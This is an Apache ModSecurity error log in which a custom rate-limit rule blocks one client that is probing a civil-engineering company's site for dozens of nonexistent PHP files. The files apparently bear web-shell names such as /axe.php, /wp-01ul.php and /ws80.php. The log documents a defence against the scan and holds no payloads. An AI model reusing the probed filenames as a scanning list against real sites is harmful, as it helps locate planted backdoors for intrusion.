[Fri Apr 24 08:26:51.114445 2026] [:error] [pid 19200:tid 19218] [client 51.120.70.44:57541] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axe.php"] [unique_id "aeq4yzQ--M3-tsKAnhETnAAAAMo"]
[Fri Apr 24 08:26:52.140067 2026] [:error] [pid 19100:tid 19131] [client 51.120.70.44:56621] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axe.php"] [unique_id "aeq4zLF_hzQs4CqbifdQwQAAABU"]
[Fri Apr 24 08:26:53.144986 2026] [:error] [pid 19102:tid 19164] [client 51.120.70.44:56608] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axe.php"] [unique_id "aeq4zQDSgrbLEZbkqD4iFQAAAIA"]
[Fri Apr 24 08:26:53.678076 2026] [:error] [pid 19102:tid 19187] [client 51.120.70.44:49439] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aeq4zQDSgrbLEZbkqD4iGgAAAJc"]
[Fri Apr 24 08:26:54.263421 2026] [:error] [pid 19102:tid 19172] [client 51.120.70.44:56620] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aeq4zgDSgrbLEZbkqD4iHgAAAIg"]
[Fri Apr 24 08:26:54.998026 2026] [:error] [pid 19101:tid 19143] [client 51.120.70.44:58124] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aeq4zmAHj9bEvrTgbO0aNgAAAEY"]
[Fri Apr 24 08:26:55.730197 2026] [:error] [pid 19200:tid 19223] [client 51.120.70.44:46396] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aeq4zzQ--M3-tsKAnhETowAAAM8"]
[Fri Apr 24 08:26:56.377933 2026] [:error] [pid 19102:tid 19185] [client 51.120.70.44:57909] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-01ul.php"] [unique_id "aeq40ADSgrbLEZbkqD4iIgAAAJU"]
[Fri Apr 24 08:26:57.206912 2026] [:error] [pid 19200:tid 19230] [client 51.120.70.44:56592] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-01ul.php"] [unique_id "aeq40TQ--M3-tsKAnhETpgAAANY"]
[Fri Apr 24 08:26:58.005521 2026] [:error] [pid 19200:tid 19229] [client 51.120.70.44:5978] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-01ul.php"] [unique_id "aeq40jQ--M3-tsKAnhETqQAAANU"]
[Fri Apr 24 08:26:58.875282 2026] [:error] [pid 19100:tid 19126] [client 51.120.70.44:61399] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-01ul.php"] [unique_id "aeq40rF_hzQs4CqbifdQzQAAABA"]
[Fri Apr 24 08:27:00.486511 2026] [:error] [pid 19100:tid 19132] [client 51.120.70.44:57861] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/e3.php"] [unique_id "aeq41LF_hzQs4CqbifdQ0AAAABY"]
[Fri Apr 24 08:27:01.924754 2026] [:error] [pid 19101:tid 19144] [client 51.120.70.44:20326] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/e3.php"] [unique_id "aeq41WAHj9bEvrTgbO0aQwAAAEc"]
[Fri Apr 24 08:27:02.668306 2026] [:error] [pid 19102:tid 19173] [client 51.120.70.44:50547] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/e3.php"] [unique_id "aeq41gDSgrbLEZbkqD4iLwAAAIk"]
[Fri Apr 24 08:27:03.876441 2026] [:error] [pid 19102:tid 19187] [client 51.120.70.44:46395] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/e3.php"] [unique_id "aeq41wDSgrbLEZbkqD4iMwAAAJc"]
[Fri Apr 24 08:27:05.347344 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:45934] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fkohd.php"] [unique_id "aeq42eKCZKf8_u2LKiALmQAAAQQ"]
[Fri Apr 24 08:27:07.751777 2026] [:error] [pid 19102:tid 19183] [client 51.120.70.44:61380] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fkohd.php"] [unique_id "aeq42wDSgrbLEZbkqD4iPgAAAJM"]
[Fri Apr 24 08:27:08.766797 2026] [:error] [pid 52129:tid 52157] [client 51.120.70.44:42272] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fkohd.php"] [unique_id "aeq43OKCZKf8_u2LKiALogAAARg"]
[Fri Apr 24 08:27:09.766128 2026] [:error] [pid 19102:tid 19180] [client 51.120.70.44:54333] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fkohd.php"] [unique_id "aeq43QDSgrbLEZbkqD4iQQAAAJA"]
[Fri Apr 24 08:27:11.301919 2026] [:error] [pid 52129:tid 52155] [client 51.120.70.44:54749] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aeq43-KCZKf8_u2LKiALqwAAARY"]
[Fri Apr 24 08:27:13.723457 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:54744] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aeq44eKCZKf8_u2LKiALswAAARc"]
[Fri Apr 24 08:27:14.969030 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:54738] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aeq44uKCZKf8_u2LKiALtgAAAQQ"]
[Fri Apr 24 08:27:16.344549 2026] [:error] [pid 19200:tid 19220] [client 51.120.70.44:42259] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aeq45DQ--M3-tsKAnhETugAAAMw"]
[Fri Apr 24 08:27:17.118344 2026] [:error] [pid 19200:tid 19209] [client 51.120.70.44:54720] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aeq45TQ--M3-tsKAnhETvAAAAME"]
[Fri Apr 24 08:27:17.853499 2026] [:error] [pid 52129:tid 52144] [client 51.120.70.44:54752] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aeq45eKCZKf8_u2LKiALvgAAAQs"]
[Fri Apr 24 08:27:18.744357 2026] [:error] [pid 19200:tid 19212] [client 51.120.70.44:42240] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aeq45jQ--M3-tsKAnhETwQAAAMQ"]
[Fri Apr 24 08:27:19.427028 2026] [:error] [pid 19100:tid 19120] [client 51.120.70.44:56568] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aeq457F_hzQs4CqbifdQ2AAAAAo"]
[Fri Apr 24 08:27:20.022715 2026] [:error] [pid 19101:tid 19147] [client 51.120.70.44:6043] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aeq46GAHj9bEvrTgbO0aTAAAAEo"]
[Fri Apr 24 08:27:21.006024 2026] [:error] [pid 52129:tid 52143] [client 51.120.70.44:48857] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aeq46eKCZKf8_u2LKiALxgAAAQo"]
[Fri Apr 24 08:27:21.919214 2026] [:error] [pid 52129:tid 52148] [client 51.120.70.44:50537] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aeq46eKCZKf8_u2LKiALxwAAAQ8"]
[Fri Apr 24 08:27:23.087343 2026] [:error] [pid 19102:tid 19171] [client 51.120.70.44:52938] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aeq46wDSgrbLEZbkqD4iVwAAAIc"]
[Fri Apr 24 08:27:23.704096 2026] [:error] [pid 19102:tid 19188] [client 51.120.70.44:52946] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aeq46wDSgrbLEZbkqD4iWQAAAJg"]
[Fri Apr 24 08:27:24.521734 2026] [:error] [pid 19200:tid 19222] [client 51.120.70.44:43078] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aeq47DQ--M3-tsKAnhETzwAAAM4"]
[Fri Apr 24 08:27:25.646527 2026] [:error] [pid 19101:tid 19152] [client 51.120.70.44:48887] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aeq47WAHj9bEvrTgbO0aUwAAAE8"]
[Fri Apr 24 08:27:27.348989 2026] [:error] [pid 19102:tid 19180] [client 51.120.70.44:59046] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aeq47wDSgrbLEZbkqD4iYAAAAJA"]
[Fri Apr 24 08:27:28.705019 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:49363] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aeq48OKCZKf8_u2LKiAL4AAAAQY"]
[Fri Apr 24 08:27:29.622004 2026] [:error] [pid 19101:tid 19143] [client 51.120.70.44:5784] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aeq48WAHj9bEvrTgbO0aVQAAAEY"]
[Fri Apr 24 08:27:31.403387 2026] [:error] [pid 19100:tid 19125] [client 51.120.70.44:58813] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aeq487F_hzQs4CqbifdQ3wAAAA8"]
[Fri Apr 24 08:27:49.625790 2026] [:error] [pid 19102:tid 19188] [client 51.120.70.44:45683] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jodohghi.php"] [unique_id "aeq5BQDSgrbLEZbkqD4ikAAAAJg"]
[Fri Apr 24 08:27:50.303977 2026] [:error] [pid 19200:tid 19232] [client 51.120.70.44:45186] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jodohghi.php"] [unique_id "aeq5BjQ--M3-tsKAnhET9gAAANg"]
[Fri Apr 24 08:27:50.862481 2026] [:error] [pid 19100:tid 19125] [client 51.120.70.44:45681] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jodohghi.php"] [unique_id "aeq5BrF_hzQs4CqbifdQ6gAAAA8"]
[Fri Apr 24 08:27:51.784575 2026] [:error] [pid 52129:tid 52152] [client 51.120.70.44:63349] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jodohghi.php"] [unique_id "aeq5B-KCZKf8_u2LKiAL6QAAARM"]
[Fri Apr 24 08:27:52.593835 2026] [:error] [pid 19100:tid 19116] [client 51.120.70.44:5561] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "aeq5CLF_hzQs4CqbifdQ7QAAAAc"]
[Fri Apr 24 08:27:53.569567 2026] [:error] [pid 19102:tid 19171] [client 51.120.70.44:58454] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "aeq5CQDSgrbLEZbkqD4inQAAAIc"]
[Fri Apr 24 08:27:54.476626 2026] [:error] [pid 19102:tid 19179] [client 51.120.70.44:58800] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "aeq5CgDSgrbLEZbkqD4inwAAAI8"]
[Fri Apr 24 08:27:55.519947 2026] [:error] [pid 19102:tid 19181] [client 51.120.70.44:59307] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "aeq5CwDSgrbLEZbkqD4iowAAAJE"]
[Fri Apr 24 08:27:56.468042 2026] [:error] [pid 19102:tid 19175] [client 51.120.70.44:58240] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rivasqup.php"] [unique_id "aeq5DADSgrbLEZbkqD4ipgAAAIs"]
[Fri Apr 24 08:27:57.535509 2026] [:error] [pid 19102:tid 19178] [client 51.120.70.44:45184] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rivasqup.php"] [unique_id "aeq5DQDSgrbLEZbkqD4iqQAAAI4"]
[Fri Apr 24 08:27:58.422723 2026] [:error] [pid 19102:tid 19187] [client 51.120.70.44:54001] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rivasqup.php"] [unique_id "aeq5DgDSgrbLEZbkqD4iqwAAAJc"]
[Fri Apr 24 08:27:59.697320 2026] [:error] [pid 19100:tid 19118] [client 51.120.70.44:58190] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rivasqup.php"] [unique_id "aeq5D7F_hzQs4CqbifdRBgAAAAg"]
[Fri Apr 24 08:28:00.971245 2026] [:error] [pid 19100:tid 19113] [client 51.120.70.44:45639] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aeq5ELF_hzQs4CqbifdREgAAAAQ"]
[Fri Apr 24 08:28:01.837077 2026] [:error] [pid 19101:tid 19159] [client 51.120.70.44:55042] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aeq5EWAHj9bEvrTgbO0ajQAAAFY"]
[Fri Apr 24 08:28:02.549392 2026] [:error] [pid 19100:tid 19112] [client 51.120.70.44:58028] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aeq5ErF_hzQs4CqbifdRGAAAAAM"]
[Fri Apr 24 08:28:03.489727 2026] [:error] [pid 19200:tid 19225] [client 51.120.70.44:58277] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aeq5EzQ--M3-tsKAnhET-QAAANE"]
[Fri Apr 24 08:28:04.380371 2026] [:error] [pid 19102:tid 19174] [client 51.120.70.44:45635] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aeq5FADSgrbLEZbkqD4isgAAAIo"]
[Fri Apr 24 08:28:05.244501 2026] [:error] [pid 19102:tid 19176] [client 51.120.70.44:53992] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aeq5FQDSgrbLEZbkqD4itQAAAIw"]
